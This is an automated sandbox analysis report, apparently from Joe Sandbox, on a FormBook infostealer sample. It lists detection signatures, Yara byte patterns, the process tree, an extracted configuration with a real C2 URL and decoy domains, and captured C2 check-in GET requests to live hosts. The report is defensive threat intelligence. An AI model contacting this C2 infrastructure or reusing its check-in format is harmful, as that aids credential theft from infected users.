Play interactive tour

Edit tour

Analysis Report 457b22da_by_Libranalysis

Overview

General Information

Sample Name:	457b22da_by_Libranalysis (renamed file extension from none to exe)
Analysis ID:	412121
MD5:	457b22da77d4db093a31dd80a4b8963f
SHA1:	83dc32633108d309f6b6b50a42dc102e7375f54c
SHA256:	8dc4c1a88f19df4a3731991e632688147b6132bcb6cffa2dfbef8ee081c6ddae
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

PE file has nameless sections

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

457b22da_by_Libranalysis.exe (PID: 4120 cmdline: 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe' MD5: 457B22DA77D4DB093A31DD80A4B8963F)

457b22da_by_Libranalysis.exe (PID: 5452 cmdline: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe MD5: 457B22DA77D4DB093A31DD80A4B8963F)

explorer.exe (PID: 3388 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

rundll32.exe (PID: 852 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 5448 cmdline: /c del 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.rogegalmish.com/a8si/"], "decoy": ["mosquitocontrolpro.com", "omfgphil.com", "qqkit.net", "compusolutionsac.com", "skynetaccess.com", "helmetmoto.com", "webdomoupravitel.com", "thepocket-onlinelesson.xyz", "stefaniehirsch.space", "goalsandballs.com", "xn--bro-ba-3ya.com", "tomrings.com", "4520oceanviewavenue.com", "mamaebemorientada.com", "shopwreathrails.com", "restaurantestancia.com", "annaquatics.info", "mnarchitect.design", "best-cleaner.com", "jobhuizhan.com", "check-info-bank.network", "boostcoachingonline.com", "basimogroup.com", "076fb5.com", "conansr.icu", "numbereightturquoise.com", "southernbrushworks.com", "home-inland.com", "irrpa.com", "ethereumdailypay.com", "betsysellsswfl.com", "cutebyconstance.website", "modelsnt.com", "medifilt.com", "tracisolomon.xyz", "dchaulingdisposal.com", "minchenhy.com", "smart4earth.com", "rackembilliards.com", "benschiller-coaching.com", "virtualroasters.com", "applewholesales.com", "thesidspot.com", "grechenblogs.com", "marshlandlogisticsservices.net", "covidokotoks.com", "mirabilla.com", "hunab.tech", "foreverjsdesigns.com", "heipacc.info", "simon-schilling.com", "shirleyeluiz.com", "juguetibicicollectors.com", "70shousemanchester.com", "tranthaolinh.net", "urbanpokebar.com", "madras-spice.com", "fulmardelta.net", "drisu-goalkeeping.com", "jiotest.com", "vitatiensa.com", "melbournebusinesslawyers.net", "rajehomes.com", "company-for-you.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x76dd8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x77172:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9e1f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9e592:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x82e85:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xaa2a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x82971:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xa9d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x82f87:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xaa3a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x830ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa51f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x77b8a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x9efaa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x81bec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa900c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x78902:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x9fd22:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x87f77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xaf397:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x8901a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x84ea9:$sqlite3step: 68 34 1C 7B E1 0x84fbc:$sqlite3step: 68 34 1C 7B E1 0xac2c9:$sqlite3step: 68 34 1C 7B E1 0xac3dc:$sqlite3step: 68 34 1C 7B E1 0x84ed8:$sqlite3text: 68 38 2A 90 C5 0x84ffd:$sqlite3text: 68 38 2A 90 C5 0xac2f8:$sqlite3text: 68 38 2A 90 C5 0xac41d:$sqlite3text: 68 38 2A 90 C5 0x84eeb:$sqlite3blob: 68 53 D8 7F 8C 0x85013:$sqlite3blob: 68 53 D8 7F 8C 0xac30b:$sqlite3blob: 68 53 D8 7F 8C 0xac433:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 457b22da_by_Libranalysis.exe PID: 4120	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.457b22da_by_Libranalysis.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.457b22da_by_Libranalysis.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.457b22da_by_Libranalysis.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community: Data: Command: C:\Windows\SysWOW64\rundll32.exe, CommandLine: C:\Windows\SysWOW64\rundll32.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: , ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3388, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 852

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.rogegalmish.com/a8si/"], "decoy": ["mosquitocontrolpro.com", "omfgphil.com", "qqkit.net", "compusolutionsac.com", "skynetaccess.com", "helmetmoto.com", "webdomoupravitel.com", "thepocket-onlinelesson.xyz", "stefaniehirsch.space", "goalsandballs.com", "xn--bro-ba-3ya.com", "tomrings.com", "4520oceanviewavenue.com", "mamaebemorientada.com", "shopwreathrails.com", "restaurantestancia.com", "annaquatics.info", "mnarchitect.design", "best-cleaner.com", "jobhuizhan.com", "check-info-bank.network", "boostcoachingonline.com", "basimogroup.com", "076fb5.com", "conansr.icu", "numbereightturquoise.com", "southernbrushworks.com", "home-inland.com", "irrpa.com", "ethereumdailypay.com", "betsysellsswfl.com", "cutebyconstance.website", "modelsnt.com", "medifilt.com", "tracisolomon.xyz", "dchaulingdisposal.com", "minchenhy.com", "smart4earth.com", "rackembilliards.com", "benschiller-coaching.com", "virtualroasters.com", "applewholesales.com", "thesidspot.com", "grechenblogs.com", "marshlandlogisticsservices.net", "covidokotoks.com", "mirabilla.com", "hunab.tech", "foreverjsdesigns.com", "heipacc.info", "simon-schilling.com", "shirleyeluiz.com", "juguetibicicollectors.com", "70shousemanchester.com", "tranthaolinh.net", "urbanpokebar.com", "madras-spice.com", "fulmardelta.net", "drisu-goalkeeping.com", "jiotest.com", "vitatiensa.com", "melbournebusinesslawyers.net", "rajehomes.com", "company-for-you.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 457b22da_by_Libranalysis.exe

ReversingLabs: Detection: 31%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: 457b22da_by_Libranalysis.exe

Joe Sandbox ML: detected

Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: 457b22da_by_Libranalysis.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 457b22da_by_Libranalysis.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: 457b22da_by_Libranalysis.exe, 00000004.00000003.235743424.0000000001750000.00000004.00000001.sdmp, rundll32.exe, 00000009.00000002.484153846.0000000004A3F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 457b22da_by_Libranalysis.exe, rundll32.exe

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4x nop then pop ebx
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then pop ebx

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49731 -> 34.95.69.141:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49731 -> 34.95.69.141:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49731 -> 34.95.69.141:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49740 -> 156.252.96.189:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49740 -> 156.252.96.189:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49740 -> 156.252.96.189:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49746 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49746 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49746 -> 184.168.131.241:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.rogegalmish.com/a8si/

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\explorer.exe	DNS query: www.thepocket-onlinelesson.xyz
Source: C:\Windows\explorer.exe	DNS query: www.tracisolomon.xyz

Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=u+x8HrW8TaP2OTySFAVUaGkyVI6Qrz7itxoztY99JgBPvqcvqvs4xGCSIVWMYkPxCa9b&2dND=GVTl- HTTP/1.1Host: www.skynetaccess.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=AKlWb4FzuMtnty9OGtxovY3lKx8NV8ATEUFEzcIxGa/JytTKcc+qEWA3ceqFQyW9WUsw&2dND=GVTl- HTTP/1.1Host: www.thepocket-onlinelesson.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl- HTTP/1.1Host: www.shirleyeluiz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=ilDJZobCAoASZPKEjr+h2GJPzQZtXgxPn5qCqJ2imUF6WWwra1RdIaAgDcyp8aYyL3aO&2dND=GVTl- HTTP/1.1Host: www.drisu-goalkeeping.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=+XN8NDZ1K2QCkRvOhUuLQIc57zcvFV8XafOJaWeGgjvpyrWV+MqtkcBEDSPdl300gZ3G&2dND=GVTl- HTTP/1.1Host: www.rogegalmish.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=62/bSqqzpTDIfVncwf8kcLNbcalsRP0e0Vdwfvu8Ay8ZWoGvbHjczG9DeoieTYsPlzHS&2dND=GVTl- HTTP/1.1Host: www.best-cleaner.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=O3o1U+q8oMW0A40QuM4kzZFzuvGZx18F2J1jOj0HsFueYiG3dIptHphoRZJy//fOFehA&2dND=GVTl- HTTP/1.1Host: www.4520oceanviewavenue.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl- HTTP/1.1Host: www.omfgphil.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /a8si/?NZb=4F1bkU/AiPiMeDtr2vTtPD5XJl4c4IZLVeC3bIU2IShR3AvGXFCeCpQ25wAjwLp6N7J6&2dND=GVTl- HTTP/1.1Host: www.boostcoachingonline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 52.128.23.153 52.128.23.153

Source: Joe Sandbox View	ASN Name: DOSARRESTUS DOSARRESTUS
